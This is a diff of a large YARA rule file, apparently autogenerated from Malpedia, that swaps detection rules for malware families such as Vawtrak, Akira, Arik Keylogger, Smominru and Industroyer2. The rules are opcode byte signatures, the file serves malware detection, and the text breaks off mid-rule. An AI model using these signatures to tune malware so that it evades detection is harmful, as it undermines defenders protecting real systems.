4c8d0dbc190200 0f1f4000 0f1f840000000000 418d4801 } - $sequence_1 = { ff5018 4c634510 488d0df40a0200 488bd8 33c0 } - $sequence_2 = { 4c634510 488d0d93fa0100 488bd8 33c0 488bd3 488905???????? 488905???????? } - $sequence_3 = { ff15???????? 488b0cdf ff15???????? 48c704dfffffffff } - $sequence_4 = { 4885c0 0f84ac010000 48833d????????00 0f849e010000 48833d????????00 0f8490010000 48833d????????00 } - $sequence_5 = { 488b0d???????? 8b5108 488b4910 4533c9 458d4130 4c89742420 } - $sequence_6 = { 33c0 e9???????? 8a07 4c8b7c2448 4c8d25a64c0100 4b8b0cfc ffc3 } - $sequence_7 = { 0f1f4000 0f1f840000000000 418d4801 0fb6c2 41ffc0 f7da } - $sequence_8 = { 488b4f18 4c8d4d10 488b01 488d1587000200 41b810000000 ff5018 4c634510 } - $sequence_9 = { 48894598 eb03 4533f6 488b05???????? 80782e00 740a 80782000 } + $sequence_0 = { 8901 8b0b 85c9 7405 8b01 ff5010 8933 } + $sequence_1 = { 8bc6 8b4d0c 890e 8b4d10 5f 894e04 5e } + $sequence_2 = { c744c81000000000 8d2cc8 8b4c241c c7451400000000 0f1001 0f114500 f30f7e4110 } + $sequence_3 = { 8bc8 6a01 ff12 8d4d98 e8???????? 0f57c0 c745e800000000 } + $sequence_4 = { b801000000 eb40 83ec08 c6462401 50 e8???????? 8945d0 } + $sequence_5 = { 5e 5b 8be5 5d c20400 8b470c 33f6 } + $sequence_6 = { 3c0a 7409 6a0a 8bce e8???????? 837f3c10 8d4728 } + $sequence_7 = { b001 c6460401 e9???????? 8b01 ff5018 83f8ff 7405 } + $sequence_8 = { e8???????? 0fb7ff eb16 0fb77c2410 8d4c2414 e8???????? 0fb7ff } + $sequence_9 = { 8bcf e8???????? 8bc8 e8???????? 8bc8 e8???????? 83ec18 } condition: - 7 of them and filesize < 414720 + 7 of them and filesize < 1482752 } -rule MALPEDIA_Win_Warlock_Auto : FILE +rule MALPEDIA_Elf_Persirai_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5e6c43cf-6cf3-5e2a-a16b-cb7d8e2e37a1" + id = "71dd969e-17c7-51f6-8baa-f5813c4b7618" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.warlock" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.warlock_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.persirai" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.persirai_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "39dc3d0e9802161f2f6843f6a22ec4febcc1ed616080a524da3e5c547a9f1dac" + logic_hash = "8b3f4b08e462bfefa6597fd60f192d2977efdf6597eab8ae390529732ac3b197" score = 75 quality = 75 tags = "FILE" @@ -101645,34 +101814,34 @@ rule MALPEDIA_Win_Warlock_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b95c0f6ffff f724ba 0385ccf6ffff 83d200 01841dc0f8ffff 8b9de0f6ffff 8b85bcf8ffff } - $sequence_1 = { 894c2420 c16c242008 331cc574e44900 0fb6c1 8b4c2410 0fb6c9 8b04c571e44900 } - $sequence_2 = { 03c2 8bd0 c1e81a 2b442448 81e2ffffff03 89542430 89542444 } - $sequence_3 = { c70000000000 c7400800000000 c9 c20400 56 8bf1 8b8e80000000 } - $sequence_4 = { 6a34 e8???????? 8945e8 59 85c0 740d 57 } - $sequence_5 = { 50 8d4de8 c745fc04000000 e8???????? eb0a 6a01 8d4de8 } - $sequence_6 = { 80fb35 7e82 33c0 84db 0f95c0 05feff0000 e9???????? } - $sequence_7 = { 8b94249c000000 81c2feffff07 03c2 8bd0 c1e81a 81e2ffffff03 2b442458 } - $sequence_8 = { 0f94c1 2500180000 2d00100000 f7d8 1bc0 40 f7c300800000 } - $sequence_9 = { 668b4306 663b45e4 7513 c6062d 8d7e01 8bcb 89bd70ffffff } + $sequence_0 = { 8d680c 8b400c 83e0fe 85c0 75e6 } + $sequence_1 = { 51 e8???????? 8d5c2424 89f1 89df 89e8 fc } + $sequence_2 = { 7423 0fbed0 a1???????? 8854243b 85c0 0f84f9000000 8810 } + $sequence_3 = { 52 8b5020 53 50 ff5208 83c410 } + $sequence_4 = { 6648 759f 53 53 57 8d44244c 50 } + $sequence_5 = { 56 53 83ec0c 89c7 be???????? } + $sequence_6 = { 89d0 5a 59 5b c3 8b442404 8b542408 } + $sequence_7 = { eb0c 89c2 8b02 39c1 75f8 8b01 8902 } + $sequence_8 = { e8???????? 89c3 8bb098000000 85f6 751c 50 50 } + $sequence_9 = { 84c0 742a 8d7600 46 3c25 742b 0fbed0 } condition: - 7 of them and filesize < 1395712 + 7 of them and filesize < 229376 } -rule MALPEDIA_Win_Remsec_Strider_Auto : FILE +rule MALPEDIA_Win_Vawtrak_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "db849346-fdc8-5458-b09f-0ed961302034" + id = "ce9fb6b0-3a67-57cc-b4c0-309ef9ca9f22" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remsec_strider" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.remsec_strider_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vawtrak" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vawtrak_auto.yar#L1-L207" license_url = "N/A" - logic_hash = "c3432e8fc924d7004cd90cb89b83a8a788a294cbc5555d3841fb9abcee97c26b" + logic_hash = "0909b4692ca0a0193737f7d7a0d93f3e3c94141796cfc88c3ca14d523aa0a3d1" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -101684,32 +101853,44 @@ rule MALPEDIA_Win_Remsec_Strider_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? c700???????? c74024282d8000 897828 8b481c c7412003000000 89782c } - $sequence_1 = { e8???????? 8bc8 6a01 8bc3 e8???????? 83c40c 83c8ff } - $sequence_2 = { 2345fc d3e8 0fb74de2 03c1 8b4e4c 8b0481 8bc8 } - $sequence_3 = { 6a04 59 83460810 8b55f4 0fb75a02 8b4608 0fb7d3 } - $sequence_4 = { ff4dfc 75d1 8bc6 e8???????? 8bf8 8d4701 3dffffff3f } - $sequence_5 = { 5e 5b c3 8b4010 80781501 750d } - $sequence_6 = { 8b4628 8b4e14 8bfb eb0c 8b5008 3bfa 7302 } - $sequence_7 = { 8bd8 8b4310 8b4844 56 3b4840 7205 e8???????? } - $sequence_8 = { 0f859af6ffff 8b44240c dd16 c1ef0e 8d84b80400f8ff 6a03 } - $sequence_9 = { e9???????? 8b06 834008f0 8b36 b8ffff0000 66014634 8bc7 } + $sequence_0 = { 6a01 ff35???????? 6a04 6a01 } + $sequence_1 = { 6a04 6a01 50 ff15???????? 85c0 } + $sequence_2 = { 6a00 6a00 e8???????? 50 ff15???????? } + $sequence_3 = { 85c0 7415 ff15???????? 50 ff15???????? 6aff } + $sequence_4 = { ba00ff0000 8bc1 23c2 3bc2 } + $sequence_5 = { 69d26d4ec641 81c239300000 2ac2 8801 } + $sequence_6 = { e8???????? eb09 a804 7405 e8???????? 803d????????00 } + $sequence_7 = { 6a08 68???????? 56 ffd7 85c0 } + $sequence_8 = { ff15???????? a3???????? 85c0 74e7 } + $sequence_9 = { 7528 68???????? ff15???????? 85c0 7504 33c0 } + $sequence_10 = { 59 57 8bf0 ff15???????? 8bc6 } + $sequence_11 = { e8???????? 33d2 b9ff3f0000 f7f1 } + $sequence_12 = { 8bc6 8703 3bc6 74f8 } + $sequence_13 = { 8d429f 3c0f 7705 80ea61 eb0a 8d42bf 3c0f } + $sequence_14 = { ff7510 ff750c ff7508 e8???????? 83c40c 8d45fc 50 } + $sequence_15 = { c1e910 e9???????? 8ac1 c1e904 c0e004 } + $sequence_16 = { 8ac8 240f 80e1f0 80c110 } + $sequence_17 = { 3c41 7c11 3c46 7f0d } + $sequence_18 = { 03ea 03ff 03db 4883fe1e } + $sequence_19 = { 4533c0 488bd6 488bcd 48897c2428 4889442420 ff15???????? } + $sequence_20 = { 400f95c7 4533c9 4533c0 ff15???????? } + $sequence_21 = { 488364242000 4c8d442430 4533c9 33d2 } condition: - 7 of them and filesize < 327680 + 7 of them and filesize < 1027072 } -rule MALPEDIA_Win_Nikihttp_Auto : FILE +rule MALPEDIA_Win_Tflower_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d7cb3a9d-079b-5853-9e14-59480637c45a" + id = "c8b749a8-7605-5cc7-b1f5-9714e975ddf7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nikihttp" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nikihttp_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tflower" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tflower_auto.yar#L1-L157" license_url = "N/A" - logic_hash = "3a904456555531ef9c0cf6ba40524ce39305f318798212cc3d8f5ea0c8f6e7e2" + logic_hash = "b74bf6ff044f2b1de7c6b08182f1378f15e5cf0c006209455268705fb05e00e4" score = 75 quality = 75 tags = "FILE" @@ -101723,71 +101904,77 @@ rule MALPEDIA_Win_Nikihttp_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 81fb41cd9ec8 75f0 bbcc8dc70b 662e0f1f840000000000 90 81fbe1bcb5f8 7e28 } - $sequence_1 = { bf35a51c0f 41bed886138b 41bf87556a70 0f1f440000 81ffdc69e0ab 0f84b0000000 81ff35a51c0f } - $sequence_2 = { 81fe7b887e5d 740a 81fee5f97f04 75f0 eb07 bee5f97f04 ebe7 } - $sequence_3 = { b8ca43fd9f e9???????? 488b8d98000000 488b9580000000 488b4580 4883ec20 ffd0 } - $sequence_4 = { c785d000000003000000 8b8dd0000000 0fbec9 01c1 bab8c94eab ebab 898dd0000000 } - $sequence_5 = { bbdd37ea6d ebb4 884d78 8a4d78 884801 c6400200 488b4d00 } - $sequence_6 = { bb26cfb9cb 660f1f840000000000 81fbf6c7d601 7f28 81fbddb48ecd 7f50 81fb1c10669d } - $sequence_7 = { 8b442404 8b442404 8b442404 8b442404 8b442404 b837c4eca4 e9???????? } - $sequence_8 = { babec982ec 0f45ea ba51cce543 662e0f1f840000000000 0f1f00 81facbe177f9 7e28 } - $sequence_9 = { ebe9 89bdd0080000 8b85d0080000 6689431e c785a808000020000000 b813cbdf5e 662e0f1f840000000000 } + $sequence_0 = { 0001 0200 0103 0303 } + $sequence_1 = { 000f 7708 0001 7708 } + $sequence_2 = { 0002 7408 00f7 7308 } + $sequence_3 = { 89442414 8b06 83f804 0f8728010000 ff2485249d4a00 6a02 6a01 } + $sequence_4 = { 001a 0c05 003c0c 05004e0c05 } + $sequence_5 = { 8b148dc0064f00 331485c0024f00 8bc3 c1e808 } + $sequence_6 = { 83fa07 8b542410 775e 8b6c2414 ff24ad9ce34600 0fb679ff } + $sequence_7 = { 000b 8605???????? 007885 0500788605 } + $sequence_8 = { 33148520c54e00 33f2 2bde d3c3 8bc3 } + $sequence_9 = { 0010 740b 0021 740b } + $sequence_10 = { c745e0787f4b00 e9???????? c745e0647f4b00 e9???????? c745dc02000000 } + $sequence_11 = { 0001 7708 00f3 7608 } + $sequence_12 = { 0008 7408 0002 7408 } + $sequence_13 = { c1e818 8b4d2c c1eb10 03148520c14e00 0fb6c3 8b5d28 } + $sequence_14 = { 0fb6c0 8b0c8d20ed4e00 330c8520f14e00 8bc3 c1e818 c1eb10 } + $sequence_15 = { 0fbec0 8d89f8feffff 8d0c48 3b0c95788f4f00 } condition: - 7 of them and filesize < 2543616 + 7 of them and filesize < 6578176 } -rule MALPEDIA_Win_Unidentified_111_Auto : FILE +rule MALPEDIA_Win_Plurox_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "761c3c1a-627b-5adf-b1c2-f96f11c05a94" - date = "2023-12-06" - modified = "2023-12-08" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_111" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_111_auto.yar#L1-L125" + id = "00819bcc-51e2-53a8-9308-9b7887ed6069" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plurox" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.plurox_auto.yar#L1-L112" license_url = "N/A" - logic_hash = "8a86a6eb9509e0a5b4e912cde53abfcabb23f3644fc565d69ca8396c5dc5d7c9" + logic_hash = "fa579257df25509063a4df447932e0b25e6ea4c45a2af23b4dfc95998427a19a" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20231130" - malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351" - malpedia_version = "20230808" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488b4c2428 0fbe09 3bc1 7512 } - $sequence_1 = { c744242002000000 e9???????? 837c243406 7511 837c243801 750a } - $sequence_2 = { 8b00 488b4c2430 488b09 0fbe0401 48634c2404 488b542428 0fbe0c0a } - $sequence_3 = { eb43 41b901000000 448b442424 488b542428 488b4c2448 e8???????? } - $sequence_4 = { eb1f c744242000000000 4533c9 4533c0 } - $sequence_5 = { 488b4c2448 ff15???????? 89442444 837c244400 7502 eb11 } - $sequence_6 = { 488d8c0c60020000 ba02000000 486bd200 4803ca 448bc0 488b542420 e8???????? } - $sequence_7 = { 66c1ca08 0fb7d2 4c8b8424a0000000 450fb74006 6641c1c808 450fb7c0 4c8b8c24a0000000 } - $sequence_8 = { e8???????? b910000000 e8???????? 4889442448 488b442448 488b4c2450 488908 } - $sequence_9 = { 4889542410 48894c2408 4883ec78 c744243000000000 c744243400000000 488b942488000000 488d4c2448 } + $sequence_0 = { 0416 128bc606091a f6870f1a000000 e10d 21c9 8918 } + $sequence_1 = { 0a20 0816 ec bbf2000000 } + $sequence_2 = { 300f 353e0fee3c 031e 2200 } + $sequence_3 = { 624a8b 0416 128bc606091a f6870f1a000000 e10d 21c9 } + $sequence_4 = { 94 f8 21480e 2a15???????? 6f } + $sequence_5 = { 6808486409 58 0000 00e4 0487 58 } + $sequence_6 = { 0925???????? 0000 c48dcd713240 89f5 } + $sequence_7 = { 0416 128bc606091a f6870f1a000000 e10d } + $sequence_8 = { 0442 6808486409 58 0000 } + $sequence_9 = { 0d04b8ca08 6af3 dac9 0000 00ee } condition: - 7 of them and filesize < 148480 + 7 of them and filesize < 475136 } -rule MALPEDIA_Win_Arik_Keylogger_Auto : FILE +rule MALPEDIA_Win_Smominru_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7c7e785e-68b0-5d15-8779-d3bc99c37de2" + id = "ba1df8df-398d-5a15-b32f-32308ade7ab2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.arik_keylogger" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.arik_keylogger_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smominru" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.smominru_auto.yar#L1-L160" license_url = "N/A" - logic_hash = "3dfa4619d5193e3c6023ed0580ae1b26d4332f72fbcfed50985df75f7171bee8" + logic_hash = "0db1d77f56494f7e7d1098f916a45decdc9bada94ceb297ac850baf6e6d6e3b1" score = 75 quality = 75 tags = "FILE" @@ -101801,32 +101988,38 @@ rule MALPEDIA_Win_Arik_Keylogger_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { b8???????? e8???????? 83f801 0f85cb000000 8d45b8 e8???????? c745b800000000 } - $sequence_1 = { 8d55b0 e8???????? 8b55b0 8d45ac b9???????? e8???????? 8b55ac } - $sequence_2 = { e8???????? 8b45f8 80780700 740b 8d55f0 8b45f8 e8???????? } - $sequence_3 = { e8???????? 84c0 741d 6a00 6a00 68c6000000 8b45fc } - $sequence_4 = { c645f400 8b55fc b8???????? e8???????? 84c0 0f84b3010000 8b45fc } - $sequence_5 = { e8???????? 89c1 81f9ff000000 7605 e8???????? 8802 eb08 } - $sequence_6 = { e8???????? 88459c 8b45a8 48 83f804 7723 ff248590826100 } - $sequence_7 = { e8???????? c745d000000000 8d4dd0 89d8 ba07000000 8b33 ff5678 } - $sequence_8 = { 8d45e4 baffffffff e8???????? 8945f8 c645ec00 8d4dd8 8d55c0 } - $sequence_9 = { b8???????? e8???????? 84c0 741b 8b45fc 8b80a8020000 8b55f4 } + $sequence_0 = { 894634 8b4718 894638 8b471c 89463c 8b4720 894640 } + $sequence_1 = { 8b5604 0fa5d0 8907 83c604 } + $sequence_2 = { 8b55fc ff5704 837b0c08 7549 } + $sequence_3 = { 8d6c2400 6aff 68b0f3e877 ff7508 } + $sequence_4 = { c9 c20c00 57 5f 55 54 } + $sequence_5 = { 8b55fc f76a14 c1e002 50 8b45fc } + $sequence_6 = { 8b5604 81e2ffffff7f 03c2 8bd0 } + $sequence_7 = { 8b5604 81ca00000002 33c9 8a8b15020000 } + $sequence_8 = { e8???????? 33c0 894704 894708 89470c 894710 894714 } + $sequence_9 = { ff15???????? 85c0 0f8c5f37ac7b 33c0 40 } + $sequence_10 = { 8b5604 59 e8???????? 85c0 } + $sequence_11 = { 8b5604 3bfa 7372 8b1e } + $sequence_12 = { 8b55fc ff560c 8b450c ff00 } + $sequence_13 = { 8bc6 5e c9 c20800 8d7f00 55 } + $sequence_14 = { 5f 55 8d6c2400 8b450c } + $sequence_15 = { 8975e0 8975dc 8975c0 8975c8 39750c 0f841948ab7b } condition: - 7 of them and filesize < 4947968 + 7 of them and filesize < 8167424 } -rule MALPEDIA_Win_Asprox_Auto : FILE +rule MALPEDIA_Win_Chinotto_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "760d5ba5-eb2e-56fe-8b68-64c041182dd0" + id = "35bb4fea-9679-5e3a-b2bd-3a05c48c1c83" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.asprox" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.asprox_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinotto" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chinotto_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "0433055da9e2395dd1bdc28ed8f399d8aecafba94a64506b61f0a5f3795ff961" + logic_hash = "4531bba6bf5c08578cccf53130069c66edf41ca25754f112d734535821ebc612" score = 75 quality = 75 tags = "FILE" @@ -101840,71 +102033,71 @@ rule MALPEDIA_Win_Asprox_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8955d4 eb05 e9???????? 8b45d4 898538ffffff c6459447 } - $sequence_1 = { e9???????? 8b03 83780400 0f84fe070000 8b10 0fb612 8b4b1c } - $sequence_2 = { 038cfe94c90000 0394fe98c90000 668945d0 c1e810 66894dd4 c1e910 668955d8 } - $sequence_3 = { c645f300 6800100000 6a00 a1???????? 50 ff15???????? 8945f8 } - $sequence_4 = { 49 7407 33c0 e9???????? 3bd3 0f858d000000 8b4e0c } - $sequence_5 = { e8???????? 83c414 8b55e8 8955f0 c745e400000000 6a10 8d45e4 } - $sequence_6 = { 895e04 40 eb20 8bc3 eb1c e8???????? } - $sequence_7 = { 52 8b45fc 50 ff15???????? 83c408 68???????? 8b4dfc } - $sequence_8 = { 51 8b952cffffff 52 ff15???????? 898558ffffff 8b8560ffffff 898570ffffff } - $sequence_9 = { 6a00 8b55e4 52 ff15???????? 8a45fb 8be5 } + $sequence_0 = { 8b4df0 897df4 895de4 8955f8 85c9 0f853dffffff e9???????? } + $sequence_1 = { 57 33f6 bf???????? 833cf5a4e6410001 751d 8d04f5a0e64100 8938 } + $sequence_2 = { 8985a8f6ffff 8d95b4f6ffff 52 8d85c4f6ffff 50 c785a0f6ffff0c000000 } + $sequence_3 = { c3 8b4d08 8b5648 8b45f4 c74638c0444000 897644 897a3c } + $sequence_4 = { 5d c3 8b4de0 8b55d8 8b45ec c1e106 034ddc } + $sequence_5 = { 8bd0 8955d8 eb03 8955d8 } + $sequence_6 = { 50 ff15???????? 8b853cf7ffff 03c3 50 e8???????? 8b8d38f7ffff } + $sequence_7 = { b969000000 66894de2 b96f000000 66894de4 b96e000000 66894de6 b93d000000 } + $sequence_8 = { 8b5628 6a58 6a01 51 } + $sequence_9 = { 6683f919 7725 8d4805 83f97a 7e08 83c0eb 0fb7c0 } condition: - 7 of them and filesize < 155648 + 7 of them and filesize < 300032 } -rule MALPEDIA_Win_Moure_Auto : FILE +rule MALPEDIA_Win_Unidentified_073_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "24a69d15-3d57-5717-b947-e4f8b8b4c7de" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moure" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moure_auto.yar#L1-L125" + id = "0ba61f73-e46a-5f54-853f-f1f3b502ee26" + date = "2022-08-05" + modified = "2022-08-08" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_073" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_073_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "a44a23c1ab1d27db26aa7a8c25dca384907550ea332fbf4f4e348b0d15134c0b" + logic_hash = "8100472ca712d569bbcdb570af72e3f13986092b4d8ee8e3873da55bef76232d" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20220805" + malpedia_hash = "6ec06c64bcfdbeda64eff021c766b4ce34542b71" + malpedia_version = "20220808" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3454 43 1558c950cb 0d487b0d4c 36a373801f1e } - $sequence_1 = { bf55602540 006b05 bc7d506700 0033 58 bf35b8bf55 58 } - $sequence_2 = { 8b35???????? 57 00d6 0075f0 894508 0075fc 00d6 } - $sequence_3 = { 51 51 8b0d???????? 56 33f6 85c9 7509 } - $sequence_4 = { 837dbc00 7436 0075bc 8d4ddc e8???????? a1???????? 3bc6 } - $sequence_5 = { 47 8705???????? 00bf35b8bf55 a4 254000c935 b8cdc58cbb } - $sequence_6 = { 3345fc 83c40c 23c7 3106 f70600000020 } - $sequence_7 = { 5e 53 43 c1c361 5b c9 51 } - $sequence_8 = { 668945e0 68a3714000 8bf0 85f6 7c2b 8b7d14 } - $sequence_9 = { be844e0001 56 6a1f 007014 } + $sequence_0 = { 8d8538ffffff 6a00 c746180f000000 8bce } + $sequence_1 = { c684242801000019 e8???????? 68???????? 8d8c24c0000000 e8???????? 6aff } + $sequence_2 = { 8bce c7461400000000 50 c6460400 e8???????? 83ec1c 8bf4 } + $sequence_3 = { 7846 8b451c 8b0e 2bc1 3bc3 7c53 } + $sequence_4 = { 8b0d???????? 894df8 eb09 8b55f8 83ea01 8955f8 837df800 } + $sequence_5 = { 6a00 8d8424dc000000 50 8d4c2454 e8???????? 83ec1c 8d84240c010000 } + $sequence_6 = { 8bec 51 894dfc c705????????90664a00 833d????????00 741c } + $sequence_7 = { 6bd103 8982a0784a00 68???????? 8b45fc 50 ff15???????? } + $sequence_8 = { 0fb74df8 894de0 668b55e0 668955f8 0fb745fc 0fb74df8 3bc1 } + $sequence_9 = { 57 6aff 68???????? 50 ff15???????? } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 1974272 } -rule MALPEDIA_Win_Akira_Auto : FILE +rule MALPEDIA_Win_Morto_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9957fbe0-0809-5ea9-92e6-35285e3e151d" + id = "8b5b99ce-9055-5caf-9153-d6b5f44f1d51" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.akira" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.akira_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.morto" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.morto_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "3bec6caf716d6a1efb83aa954ea803db62de6e65cc0a5401d25e2d0c788df4d4" + logic_hash = "3f690f88537e995c1dc2e4101db7568f5b1a20d460c6735cbb429d69f53136bf" score = 75 quality = 75 tags = "FILE" @@ -101918,32 +102111,32 @@ rule MALPEDIA_Win_Akira_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0fb64718 8807 4863c1 48893cc2 e9???????? 0fb64718 8807 } - $sequence_1 = { 498d4f18 e8???????? 84c0 742d 498d5718 488d8f18030000 } - $sequence_2 = { 6642833c4000 75f5 488d559d 488d8de0080000 e8???????? 90 c645a700 } - $sequence_3 = { e9???????? 488d8a20140000 e9???????? 488d8a40140000 e9???????? } - $sequence_4 = { ffc3 48ffc0 4883f806 7cee 488bcf e8???????? 488b5c2450 } - $sequence_5 = { 4883c108 488b01 48c70100000000 4889442460 bb04000000 4885f6 744e } - $sequence_6 = { 0f8456ffffff eb05 4084f6 7407 41c60630 49ffc6 498bd4 } - $sequence_7 = { 488bda 4533ed 41f7411800400000 7528 410f1000 0f2945c0 4c8b11 } - $sequence_8 = { f00fc181a4000000 83f801 7506 e8???????? 90 488bc3 4883c420 } - $sequence_9 = { 48895110 4c8bc7 418bd6 e8???????? 4088341f e9???????? 488bc7 } + $sequence_0 = { 50 e8???????? 59 8d8594fdffff 59 56 50 } + $sequence_1 = { 8bf9 760c 8a4d10 280c30 40 3b450c } + $sequence_2 = { 0f859f020000 53 57 8ac0 33db ba25537973 } + $sequence_3 = { ff55ec 53 6a04 ff55e4 6a01 } + $sequence_4 = { 6a01 68???????? ff35???????? a3???????? e8???????? 83c438 } + $sequence_5 = { 3bc3 59 0f843e010000 8d4dbc 51 50 } + $sequence_6 = { c20c00 b8???????? e8???????? 81ec38020000 53 56 57 } + $sequence_7 = { 50 6a00 ff15???????? 85c0 894704 742a 83c005 } + $sequence_8 = { b9???????? e9???????? 55 8bec b86c260300 } + $sequence_9 = { 8b450c 68???????? c745f44d61696e c745f854687265 ff30 c745fc61640000 ff15???????? } condition: - 7 of them and filesize < 1286144 + 7 of them and filesize < 49152 } -rule MALPEDIA_Win_Eyservice_Auto : FILE +rule MALPEDIA_Win_Industroyer2_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "01143abf-4326-5001-b471-74ce2f23b942" + id = "5e868bea-ed7e-5974-96ba-660ba0f6c883" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.eyservice" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.eyservice_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer2" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.industroyer2_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "cec2c9ebe5b9e4768a39fd8dee155ccbac651c379b500243ead7740363768937" + logic_hash = "af4403ef973a2e44095a1be12f63d921343b5d2fe519fbae198aa69e0c4340cd" score = 75 quality = 75 tags = "FILE" @@ -101957,32 +102150,32 @@ rule MALPEDIA_Win_Eyservice_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8d4c2408 8bf0 c7842460080000ffffffff e8???????? } - $sequence_1 = { 0f85e5000000 c70600000000 c70702000000 e9???????? 83f85a 0f85cb000000 } - $sequence_2 = { 83bef800000000 747c 8d4c2408 e8???????? a1???????? 8d4c2408 51 